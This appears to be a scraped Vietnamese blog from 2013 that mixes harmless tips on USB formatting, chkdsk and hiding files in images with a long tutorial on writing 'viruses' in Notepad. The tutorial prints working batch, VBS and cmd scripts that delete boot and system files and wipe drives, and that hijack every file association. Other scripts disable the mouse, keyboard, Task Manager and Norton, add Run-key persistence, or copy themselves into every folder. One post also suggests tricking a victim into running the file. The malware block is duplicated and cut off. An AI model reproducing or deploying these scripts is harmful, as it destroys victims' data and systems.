hôm nay mình sẽ chj cho mọi người cách làm 1 con virus xóa dữ liệu hệ thống .Trước tiên mở notepad lên và copy đoạn code sau:
save lại dưới dạng karobi.bat
dụ Victim mở nó lên và... (có chiện liền :19
tác dụng của con này là: xóa hết các file khởi động của hệ thống
cách khắc phục: wa máy khác copy file autoexec.bat, boot.ini, ntldr, win.nin và dán vào ổ C, riêng file win.nin thì cho vào ổ C:\Windows\
con này dể tham khảo chứ đừng đem đi phá nghe. chống chỉ định zới người hay đi phá :21::21:
Thứ Ba, 23 tháng 7, 2013
Sửa lỗi usb báo không dung lượng
Sửa lỗi usb báo không dung lượng
Usb hiện nay đã không còn xa lạ gì đối với người dùng máy tính, giá thành hạ thấp mà dung lượng lại lớn lên số lượng usb bán ra ngày càng tăng cao. Số lượng usb nhiều tỉ lệ lỗi cũng lớn hơn một lỗi mà người dùng usb hay gặp phải là cắm usb vào máy tính có nhận được nhưng kiểm tra dung lượng lại không có, người sử dụng không thể làm gì với usb lúc này ???
Thông thường trong tình huống như vậy thông thường người sử dụng hãy nghĩ tới việc mang usb đi bảo hành, thời gian bảo hành của usb thường là 12 tháng cho tới 24 tháng nhưng trước khi mang đi bảo hành hoặc những usb đã hết bảo hành bạn có thể thử khắc phục sự cố như sau (trong một số trường hợp nó sẽ giúp bạn sửa lỗi usb mà không cần mang đi bảo hành):
1. Tải phần mềm Format usb về tại đây. Đây là một phần mềm có tác dụng chính là giúp bạn Format usb ngoài ra trong quá trình format nó sẽ giúp bạn sửa lỗi và định dạng lại usb theo đúng chuẩn. Bạn nên sử dụng phần mềm này để Format usb thay bằng việc sử dụng chức năng Format của hệ điều hành.
2. Sau khi tải xong bạn tiến hành cài đặt, nếu chưa rõ cách cài đặt bạn có thể tham khảo bài viết hướng dẫn cách cài đặt tại đây.
3. Sau khi cài đặt xong bạn kích vào biểu tượng phần mềm trên màn hình desktop để khởi động phần mềm. Bạn phải cắm usb trước khi khởi động phần mềm. Nếu bạn vẫn cắm usb mà khi khởi động phần mềm lên phần mềm không nhận được usb của bạn thì bạn nên mang usb đi bảo hành.
4. Nếu phần mềm nhận usb sẽ có giao diện như sau:
File System: có thể chọn Fat 32 hoặc NTFS, bạn nên chọn NTFS
Volum label: nhập tên cho usb
Bạn nên kích vào ô Quick Format như trong hình. Cuối cùng ấn Start để tiến hành Format.
Chú ý: Khi Format bất cứ một dữ liệu nào bạn lưu trong usb sẽ bị mất. Chỉ Format usb khi thực sự cần thiết. Không sử dụng chức năng Format để xóa dữ liệu cho nhanh.
Cảm ơn bạn đã theo dõi bài viết.!
Giấu tài liệu trong tập tin hình ảnh
Giấu tài liệu trong tập tin hình ảnh
- CHUYÊN MỤC THỦ THUẬT
- ĐĂNG 18 THÁNG 7 2012
- BỞI PHAN VÕ MINH THẮNG
- LƯỢT XEM: 4506
Để thực hiện, chúng ta tiến hành theo những bước sau:
- Đầu tiên ta cần nén các tài liệu muốn giấu (dùng winrar hay winzip) thành tập tin nén, tạm gọi là "Tai_Lieu_Mat.zip"
- Chọn 1 file hình tùy ý để ngụy trang ví dụ tập tin hình có tên là "Goi_Qua.jpg"
- Chạy Windows Command Line: CMD
- Gõ dòng lệnh theo cú pháp sau đây và nhấn Enter để thực hiện nó
- Tập tin hình được "đính kèm" tài liệu mật mới sẽ được tạo ra với tên gọi là Goi_Qua_Bi_Mat.jpg.
copy /B Goi_Qua.jpg + Tai_Lieu_Mat.zip Goi_Qua_Bi_Mat.jpg
Có thể mở các file được đính kèm trong file hình bằng cách, nhấn chuột phải trên tập tin hình vừa tạo (Goi_Qua_Bi_Mat.jpg) chọn chức năng Open With/ WinRaR Archiver.
Hy vọng, thủ thuật sẽ hữu ích trong 1 số trường hợp cần thiết.
Chủ đề: Khắc phục lỗi không truy cập được ổ cứng di động
Chủ đề: Khắc phục lỗi không truy cập được ổ cứng di động
Dung lượng lưu trữ lớn và giá thành rẻ, ổ cứng di động ngày càng được nhiều người dùng lựa chọn để lưu trữ dữ liệu quan trọng. Từ đây, nhiều vấn đề mới lại phát sinh, hay gặp nhất là tình trạng đột nhiên không truy cập được dữ liệu trên ổ cứng di động mặc dù hệ thống vẫn nhận ra ổ đĩa.
Lỗi này hay gặp khi bạn sao chép dữ liệu trên ổ cứng di động sang nơi khác, hay đang truy xuất dữ liệu thì bị ngắt kết nối hay lỏng cáp đột ngột,v.v...dẫn đến việc không thể truy cập dữ liệu ở những lần sau. Thông báo lỗi hay gặp là The parameter is incorrect. Dưới đây là cách khắc phục:
- Trước tiên, bạn kiểm tra lại điểm gắn cáp kết nối với ổ cứng di động với cổng USB. Thử gắn ổ cứng vào các cổng USB trên máy khác để chắc rằng cổng USB trên máy bạn không có vấn đề và dây cáp vẫn tốt.
- Tiếp theo, bạn kết nối ổ cứng di động với máy tính, nếu có yêu cầu Format hãy bỏ qua. Nhấn tổ hợp phím Windows+R, mở hộp thoại Run, gõ vào lệnh cmd và nhấn OK. Trên cửa sổ dòng lệnh mở ra, bạn nhập lệnh sau: chkdsk j: /f (thay ký tự j bằng ký tự ổ cứng di động trên máy của bạn, có khoảng trống giữa ký tự ổ đĩa và tham số /f). Chờ trong giây lát khoảng 1 - 2 phút để hệ thống sửa lỗi ổ cứng tự động. Xong, bạn mở Windows Explorer và truy cập ổ cứng di động để kiểm tra kết quả.
Lưu ý: trong Windows 7 và Windows 8, bạn cần chạy cửa sổ dòng lệnh Command Promt dưới quyền quản trị. Mở menu Start, gõ cmd vào hộp Search và nhấn phải lên kết quả tìm được chọn Run as administrator.
Lỗi này hay gặp khi bạn sao chép dữ liệu trên ổ cứng di động sang nơi khác, hay đang truy xuất dữ liệu thì bị ngắt kết nối hay lỏng cáp đột ngột,v.v...dẫn đến việc không thể truy cập dữ liệu ở những lần sau. Thông báo lỗi hay gặp là The parameter is incorrect. Dưới đây là cách khắc phục:
- Trước tiên, bạn kiểm tra lại điểm gắn cáp kết nối với ổ cứng di động với cổng USB. Thử gắn ổ cứng vào các cổng USB trên máy khác để chắc rằng cổng USB trên máy bạn không có vấn đề và dây cáp vẫn tốt.
- Tiếp theo, bạn kết nối ổ cứng di động với máy tính, nếu có yêu cầu Format hãy bỏ qua. Nhấn tổ hợp phím Windows+R, mở hộp thoại Run, gõ vào lệnh cmd và nhấn OK. Trên cửa sổ dòng lệnh mở ra, bạn nhập lệnh sau: chkdsk j: /f (thay ký tự j bằng ký tự ổ cứng di động trên máy của bạn, có khoảng trống giữa ký tự ổ đĩa và tham số /f). Chờ trong giây lát khoảng 1 - 2 phút để hệ thống sửa lỗi ổ cứng tự động. Xong, bạn mở Windows Explorer và truy cập ổ cứng di động để kiểm tra kết quả.
Lưu ý: trong Windows 7 và Windows 8, bạn cần chạy cửa sổ dòng lệnh Command Promt dưới quyền quản trị. Mở menu Start, gõ cmd vào hộp Search và nhấn phải lên kết quả tìm được chọn Run as administrator.
Thứ Bảy, 20 tháng 7, 2013
album anh
Google Account Video Purchases
Ho Chi Minh City, Vietnam
Thứ Sáu, 19 tháng 7, 2013
Thứ Năm, 18 tháng 7, 2013
Thứ Hai, 15 tháng 7, 2013
hướng dẫn làm video bằng hình ảnh và nhạc bằng power maker
hướng dẫn làm video bằng hình ảnh và nhạc bằng power maker
làm virus dơn giản bằng notepad
Mình
sẽ cho các bạn một số code để các bạn biết về cấu tạo của nó chứ mình
khuyên các bạn không nên dùng nó đem đi phá hoại người khác và các bạn
muốn biết hoạt động của nó như thế nào thì minh khuyên các bạn nên cài
đặt máy ảo hoặc đóng băng các ổ trước khi sử dụng những con virus này.
Mình sẽ cho các bạn xem một số code của con virus đuôi .BAT dầu tiên vào notepad dán đoạn mã này vào
1) virus phá hoại cửa sổ windown:
Code:
@echo off
msg *virus activated*
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
@echo off
msg *Computer Over. Virus=Very Yes.*
shutdown -s -t 10 -c " "
2)loại virus này làm vô hiệu hóa chuột, bàn phím,task manager, thay đổi tập tin:
code:
@echo off
prompt $P $G
assoc .doc = fA1luRe
assoc .docx = fA1luRe
assoc .log = fA1luRe
assoc .msg = fA1luRe
assoc .pages = fA1luRe
assoc .rtf = fA1luRe
assoc .txt = fA1luRe
assoc .wpd = fA1luRe
assoc .wps = fA1luRe
assoc .accdb = fA1luRe
assoc .blg = fA1luRe
assoc .csv = fA1luRe
assoc .dat = fA1luRe
assoc .db = fA1luRe
assoc .efx = fA1luRe
assoc .mdb = fA1luRe
assoc .pdb = fA1luRe
assoc .pps = fA1luRe
assoc .ppt = fA1luRe
assoc .pptx = fA1luRe
assoc .sdb = fA1luRe
assoc .sdf = fA1luRe
assoc .sql = fA1luRe
assoc .vcf = fA1luRe
assoc .wks = fA1luRe
assoc .xls = fA1luRe
assoc .xlsx = fA1luRe
assoc .xml = fA1luRe
assoc .bmp = fA1luRe
assoc .gif = fA1luRe
assoc .jpg = fA1luRe
assoc .png = fA1luRe
assoc .psd = fA1luRe
assoc .psp = fA1luRe
assoc .thm = fA1luRe
assoc .tif = fA1luRe
assoc .ai = fA1luRe
assoc .drw = fA1luRe
assoc .eps = fA1luRe
assoc .ps = fA1luRe
assoc .svg = fA1luRe
assoc .3dm = fA1luRe
assoc .dwg = fA1luRe
assoc .dxf = fA1luRe
assoc .pln = fA1luRe
assoc .indd = fA1luRe
assoc .pct = fA1luRe
assoc .pdf = fA1luRe
assoc .qxd = fA1luRe
assoc .qxp = fA1luRe
assoc .rels = fA1luRe
assoc .aac = fA1luRe
assoc .aif = fA1luRe
assoc .iff = fA1luRe
assoc .m3u = fA1luRe
assoc .mid = fA1luRe
assoc .mp3 = fA1luRe
assoc .mpa = fA1luRe
assoc .ra = fA1luRe
assoc .wav = fA1luRe
assoc .wma = fA1luRe
assoc .3g2 = fA1luRe
assoc .3gp = fA1luRe
assoc .asf = fA1luRe
assoc .asx = fA1luRe
assoc .avi = fA1luRe
assoc .flv = fA1luRe
assoc .mov = fA1luRe
assoc .mp4 = fA1luRe
assoc .mpg = fA1luRe
assoc .rm = fA1luRe
assoc .swf = fA1luRe
assoc .vob = fA1luRe
assoc .wmv = fA1luRe
assoc .asp = fA1luRe
assoc .cer = fA1luRe
assoc .csr = fA1luRe
assoc .css = fA1luRe
assoc .htm = fA1luRe
assoc .html = fA1luRe
assoc .js = fA1luRe
assoc .jsp = fA1luRe
assoc .php = fA1luRe
assoc .rss = fA1luRe
assoc .tvpi = fA1luRe
assoc .tvvi = fA1luRe
assoc .xhtml = fA1luRe
assoc .fnt = fA1luRe
assoc .fon = fA1luRe
assoc .otf = fA1luRe
assoc .ttf = fA1luRe
assoc .8bi = fA1luRe
assoc .plugin = fA1luRe
assoc .xll = fA1luRe
assoc .cab = fA1luRe
assoc .cpl = fA1luRe
assoc .cur = fA1luRe
assoc .dll = fA1luRe
assoc .dmp = fA1luRe
assoc .drv = fA1luRe
assoc .key = fA1luRe
assoc .lnk = fA1luRe
assoc .sys = fA1luRe
assoc .cfg = fA1luRe
assoc .ini = fA1luRe
assoc .keychain = fA1luRe
assoc .prf = fA1luRe
assoc .app = fA1luRe
assoc .bat = fA1luRe
assoc .cgi = fA1luRe
assoc .com = fA1luRe
assoc .exe = fA1luRe
assoc .pif = fA1luRe
assoc .vb = fA1luRe
assoc .ws = fA1luRe
assoc .7z = fA1luRe
assoc .deb = fA1luRe
assoc .gz = fA1luRe
assoc .pkg = fA1luRe
assoc .rar = fA1luRe
assoc .sit = fA1luRe
assoc .sitx = fA1luRe
assoc .tar.gz = fA1luRe
assoc .zip = fA1luRe
assoc .zipx = fA1luRe
assoc .bin = fA1luRe
assoc .hqx = fA1luRe
assoc .mim = fA1luRe
assoc .uue = fA1luRe
assoc .c = fA1luRe
assoc .cpp = fA1luRe
assoc .dtd = fA1luRe
assoc .java = fA1luRe
assoc .pl = fA1luRe
assoc .bak = fA1luRe
assoc .bup = fA1luRe
assoc .gho = fA1luRe
assoc .ori = fA1luRe
assoc .tmp = fA1luRe
assoc .dmg = fA1luRe
assoc .iso = fA1luRe
assoc .toast = fA1luRe
assoc .vcd = fA1luRe
assoc .gam = fA1luRe
assoc .nes = fA1luRe
assoc .rom = fA1luRe
assoc .sav = fA1luRe
assoc .dbx = fA1luRe
assoc .msi = fA1luRe
assoc .part = fA1luRe
assoc .torrent = fA1luRe
assoc .yps = fA1luRe
rundll32.exe mouse, disable
rundll32.exe keyboard, disable
copy setup.bat %userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
copy setup.bat %windir%\System32
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v fA1luRe /t REG_SZ /d %windir%\System32\setup.bat
taskkill /f /im taskmgr.exe
reg restore HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr = 1
shutdown -s -f -t 10 -c "PwN3D by fA1luRe!!!"
3)kiểm tra % của CPU lên đến bao nhiêu %:
bạn mở notepad ra và gõ start 1.bat vào trong rồi các bạn lưu con virus này là 1.bat rồi ngay lập tức % CPU sẽ tăng lên.
4)lặp lại nhiều lần chu kỳ mess:
Code:
@ECHO off
:Begin
msg * lời cảnh báo
msg * lời cảnh báo
msg * lời cảnh báo
msg * lời cảnh báo
msg * lời cảnh báo
GOTO BEGIN
VD:
@ECHO off
:Begin
msg * Hi
msg * khoe ko anh ?
msg * em ne ?
msg * buon ngu chua anh ?
msg * tat may ngu thoi ,bb anh
GOTO BEGIN
5)tự động tắt máy và kèm theo lời nhắn:
Code:
@echo off
msg * lời cảnh báo
shutdown -c “lời cảnh báo” -s
VD:
@echo off
msg * I LOVE YOU
shutdown -c “Error! tam biet anh!” -s
Còn đây là một số con virus có đuôi là .VBS
1)Chức năng gửi thông điệp cảnh báo:
Code:
text1=msgbox("Thông điêp cảnh báo",42,"Tên thông điệp cảnh báo")
2)Chức năng làm đứng máy tính:
Code:
msgbox"Error !"
On Error Resume Next
Set vip_xinh = Createobject("scripting.filesystemobject")
vip_xinh.copyfile wscript.scriptfullname,vip_xinh.GetSpecialFolder(0 )& "\ vip_xinh.vbs"
Set vip_xinh2= CreateObject("WScript.Shell")
vip_xinh2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ru n\die","wscript.exe "& vip_xinh.GetSpecialFolder(0)& "\ vip_xinh.vbs %"
On Error Resume Next
Const vic = "D:\"
Delvic
Sub Delvic()
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile vic & "*.*" , True
fso.DeleteFolder vic & "*" , True
End Sub
On Error Resume Next
Const vic1 = "C:\windows\"
Delvic1
Sub Delvic1()
Dim fso1
Set fso1 = CreateObject("Scripting.FileSystemObject")
fso1.DeleteFile vic1 & "*.*" , True
fso1.DeleteFolder vic1 & "*" , True
End Sub
On Error Resume Next
Const vic2 = "C:\"
Delvic2
Sub Delvic2()
Dim fso2
Set fso2 = CreateObject("Scripting.FileSystemObject")
fso2.DeleteFile vic2 & "*.*" , True
fso2.DeleteFolder vic2 & "*" , True
End Sub
On Error Resume Next
Set treomay= CreateObject("WScript.Shell")
Do
treomay.run "notepad",false
loop
3)Đây là một con virus rất ác mình khuyên ban muốn thử nó thì hãy đóng băng tất cả các ổ trước khi sử dụng nó không thì rước họa vào thân đấy bạn
Code:
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")
Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub
Còn đây là thuốc giải:
Code:
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")
Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs")
fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")
FolderList(f1.Path)
Next
End sub
4)chức năng mở một thông điệp rồi sẽ tự động tắt máy:
Code:
@echo off
msg * thông điệp
shutdown -c "thông điệp" -s -t 10
5)không cho victim khởi động máy:
Code:
Dim wsh
Set wsh = createobject("wscript.shell")
wsh.run "RUNDLL32.EXE user.exe,exitwindows"
6)Disable NAV:
Code:
Dim wsh
Set wsh= CreateObject( "WScript.Shell")
s1 = " HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servic
es\Norton Program
Scheduler\Start"
wsh.RegWrite s1,3, "REG_DWORD"
7)hiển thị message mỗi khi restart máy:
Code:
dim wsh
Set wsh = CreateObject( "WScript.Shell" )
s1 = " HKLM\Software\Microsoft\Windows\CurrentVersion\Win
Logon\"
s2 = "LegalNoticeCaption"
s3 = "LegalNoticeText"
wsh.RegWrite s1+s2, "lời cảnh báo"
wsh.RegWrite s1+s3, "lời cảnh báo"
8)chuc nang hien thi dong lenh khi ban click vao floder:
Code:
set reg=createobject("WScript.shell")
reg.regwrite "HKEY_CLASSES_ROOT\*\Shell\\","loi canh bao"
reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\loi canh bao\","SLM"
vd:
set reg=createobject("WScript.shell")
reg.regwrite "HKEY_CLASSES_ROOT\*\Shell\\","Hi ! Ban da bi nhiem WK tu truongton.net"
reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\Hi ! Ban da bi nhiem WK tu truongton.net\","SLM"
9)Xóa Registry Files:
Code:
@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO slm loi canh bao.
GOTO MESSAGE
vd:
@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO slm chuc anh 1 ngay vui ve.
GOTO MESSAGE
10)Bật notepad lien tuc lam may tinh bi ngơ:
Code:
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
11)bật tắt caps lock liên tục:
Code:
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
12)Ép enter liên tục:
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
ep Backspace lien tuc:
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
Còn đây là một số con virus có đuôi .cmd:
1)Xóa sạch tất cả các file có trong máy:
Code:
DEL /F /Q *
2)Xóa một file nào đó:
Code:
erase đường dẫn
vd:
erase C:\TEST.txt
3)Ẩn tòan bộ file trong win
Code:
ATTRIB +S /F /Q *
Thế là xong phù mệt quá chúc các bạn vui vẻ với những con virus này nếu có con mới mình sẽ post lên cho các bạn thưởng thức.
Mình sẽ cho các bạn xem một số code của con virus đuôi .BAT dầu tiên vào notepad dán đoạn mã này vào
1) virus phá hoại cửa sổ windown:
Code:
@echo off
msg *virus activated*
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
@echo off
msg *Computer Over. Virus=Very Yes.*
shutdown -s -t 10 -c " "
2)loại virus này làm vô hiệu hóa chuột, bàn phím,task manager, thay đổi tập tin:
code:
@echo off
prompt $P $G
assoc .doc = fA1luRe
assoc .docx = fA1luRe
assoc .log = fA1luRe
assoc .msg = fA1luRe
assoc .pages = fA1luRe
assoc .rtf = fA1luRe
assoc .txt = fA1luRe
assoc .wpd = fA1luRe
assoc .wps = fA1luRe
assoc .accdb = fA1luRe
assoc .blg = fA1luRe
assoc .csv = fA1luRe
assoc .dat = fA1luRe
assoc .db = fA1luRe
assoc .efx = fA1luRe
assoc .mdb = fA1luRe
assoc .pdb = fA1luRe
assoc .pps = fA1luRe
assoc .ppt = fA1luRe
assoc .pptx = fA1luRe
assoc .sdb = fA1luRe
assoc .sdf = fA1luRe
assoc .sql = fA1luRe
assoc .vcf = fA1luRe
assoc .wks = fA1luRe
assoc .xls = fA1luRe
assoc .xlsx = fA1luRe
assoc .xml = fA1luRe
assoc .bmp = fA1luRe
assoc .gif = fA1luRe
assoc .jpg = fA1luRe
assoc .png = fA1luRe
assoc .psd = fA1luRe
assoc .psp = fA1luRe
assoc .thm = fA1luRe
assoc .tif = fA1luRe
assoc .ai = fA1luRe
assoc .drw = fA1luRe
assoc .eps = fA1luRe
assoc .ps = fA1luRe
assoc .svg = fA1luRe
assoc .3dm = fA1luRe
assoc .dwg = fA1luRe
assoc .dxf = fA1luRe
assoc .pln = fA1luRe
assoc .indd = fA1luRe
assoc .pct = fA1luRe
assoc .pdf = fA1luRe
assoc .qxd = fA1luRe
assoc .qxp = fA1luRe
assoc .rels = fA1luRe
assoc .aac = fA1luRe
assoc .aif = fA1luRe
assoc .iff = fA1luRe
assoc .m3u = fA1luRe
assoc .mid = fA1luRe
assoc .mp3 = fA1luRe
assoc .mpa = fA1luRe
assoc .ra = fA1luRe
assoc .wav = fA1luRe
assoc .wma = fA1luRe
assoc .3g2 = fA1luRe
assoc .3gp = fA1luRe
assoc .asf = fA1luRe
assoc .asx = fA1luRe
assoc .avi = fA1luRe
assoc .flv = fA1luRe
assoc .mov = fA1luRe
assoc .mp4 = fA1luRe
assoc .mpg = fA1luRe
assoc .rm = fA1luRe
assoc .swf = fA1luRe
assoc .vob = fA1luRe
assoc .wmv = fA1luRe
assoc .asp = fA1luRe
assoc .cer = fA1luRe
assoc .csr = fA1luRe
assoc .css = fA1luRe
assoc .htm = fA1luRe
assoc .html = fA1luRe
assoc .js = fA1luRe
assoc .jsp = fA1luRe
assoc .php = fA1luRe
assoc .rss = fA1luRe
assoc .tvpi = fA1luRe
assoc .tvvi = fA1luRe
assoc .xhtml = fA1luRe
assoc .fnt = fA1luRe
assoc .fon = fA1luRe
assoc .otf = fA1luRe
assoc .ttf = fA1luRe
assoc .8bi = fA1luRe
assoc .plugin = fA1luRe
assoc .xll = fA1luRe
assoc .cab = fA1luRe
assoc .cpl = fA1luRe
assoc .cur = fA1luRe
assoc .dll = fA1luRe
assoc .dmp = fA1luRe
assoc .drv = fA1luRe
assoc .key = fA1luRe
assoc .lnk = fA1luRe
assoc .sys = fA1luRe
assoc .cfg = fA1luRe
assoc .ini = fA1luRe
assoc .keychain = fA1luRe
assoc .prf = fA1luRe
assoc .app = fA1luRe
assoc .bat = fA1luRe
assoc .cgi = fA1luRe
assoc .com = fA1luRe
assoc .exe = fA1luRe
assoc .pif = fA1luRe
assoc .vb = fA1luRe
assoc .ws = fA1luRe
assoc .7z = fA1luRe
assoc .deb = fA1luRe
assoc .gz = fA1luRe
assoc .pkg = fA1luRe
assoc .rar = fA1luRe
assoc .sit = fA1luRe
assoc .sitx = fA1luRe
assoc .tar.gz = fA1luRe
assoc .zip = fA1luRe
assoc .zipx = fA1luRe
assoc .bin = fA1luRe
assoc .hqx = fA1luRe
assoc .mim = fA1luRe
assoc .uue = fA1luRe
assoc .c = fA1luRe
assoc .cpp = fA1luRe
assoc .dtd = fA1luRe
assoc .java = fA1luRe
assoc .pl = fA1luRe
assoc .bak = fA1luRe
assoc .bup = fA1luRe
assoc .gho = fA1luRe
assoc .ori = fA1luRe
assoc .tmp = fA1luRe
assoc .dmg = fA1luRe
assoc .iso = fA1luRe
assoc .toast = fA1luRe
assoc .vcd = fA1luRe
assoc .gam = fA1luRe
assoc .nes = fA1luRe
assoc .rom = fA1luRe
assoc .sav = fA1luRe
assoc .dbx = fA1luRe
assoc .msi = fA1luRe
assoc .part = fA1luRe
assoc .torrent = fA1luRe
assoc .yps = fA1luRe
rundll32.exe mouse, disable
rundll32.exe keyboard, disable
copy setup.bat %userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
copy setup.bat %windir%\System32
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v fA1luRe /t REG_SZ /d %windir%\System32\setup.bat
taskkill /f /im taskmgr.exe
reg restore HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr = 1
shutdown -s -f -t 10 -c "PwN3D by fA1luRe!!!"
3)kiểm tra % của CPU lên đến bao nhiêu %:
bạn mở notepad ra và gõ start 1.bat vào trong rồi các bạn lưu con virus này là 1.bat rồi ngay lập tức % CPU sẽ tăng lên.
4)lặp lại nhiều lần chu kỳ mess:
Code:
@ECHO off
:Begin
msg * lời cảnh báo
msg * lời cảnh báo
msg * lời cảnh báo
msg * lời cảnh báo
msg * lời cảnh báo
GOTO BEGIN
VD:
@ECHO off
:Begin
msg * Hi
msg * khoe ko anh ?
msg * em ne ?
msg * buon ngu chua anh ?
msg * tat may ngu thoi ,bb anh
GOTO BEGIN
5)tự động tắt máy và kèm theo lời nhắn:
Code:
@echo off
msg * lời cảnh báo
shutdown -c “lời cảnh báo” -s
VD:
@echo off
msg * I LOVE YOU
shutdown -c “Error! tam biet anh!” -s
Còn đây là một số con virus có đuôi là .VBS
1)Chức năng gửi thông điệp cảnh báo:
Code:
text1=msgbox("Thông điêp cảnh báo",42,"Tên thông điệp cảnh báo")
2)Chức năng làm đứng máy tính:
Code:
msgbox"Error !"
On Error Resume Next
Set vip_xinh = Createobject("scripting.filesystemobject")
vip_xinh.copyfile wscript.scriptfullname,vip_xinh.GetSpecialFolder(0 )& "\ vip_xinh.vbs"
Set vip_xinh2= CreateObject("WScript.Shell")
vip_xinh2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ru n\die","wscript.exe "& vip_xinh.GetSpecialFolder(0)& "\ vip_xinh.vbs %"
On Error Resume Next
Const vic = "D:\"
Delvic
Sub Delvic()
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile vic & "*.*" , True
fso.DeleteFolder vic & "*" , True
End Sub
On Error Resume Next
Const vic1 = "C:\windows\"
Delvic1
Sub Delvic1()
Dim fso1
Set fso1 = CreateObject("Scripting.FileSystemObject")
fso1.DeleteFile vic1 & "*.*" , True
fso1.DeleteFolder vic1 & "*" , True
End Sub
On Error Resume Next
Const vic2 = "C:\"
Delvic2
Sub Delvic2()
Dim fso2
Set fso2 = CreateObject("Scripting.FileSystemObject")
fso2.DeleteFile vic2 & "*.*" , True
fso2.DeleteFolder vic2 & "*" , True
End Sub
On Error Resume Next
Set treomay= CreateObject("WScript.Shell")
Do
treomay.run "notepad",false
loop
3)Đây là một con virus rất ác mình khuyên ban muốn thử nó thì hãy đóng băng tất cả các ổ trước khi sử dụng nó không thì rước họa vào thân đấy bạn
Code:
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")
Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub
Còn đây là thuốc giải:
Code:
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
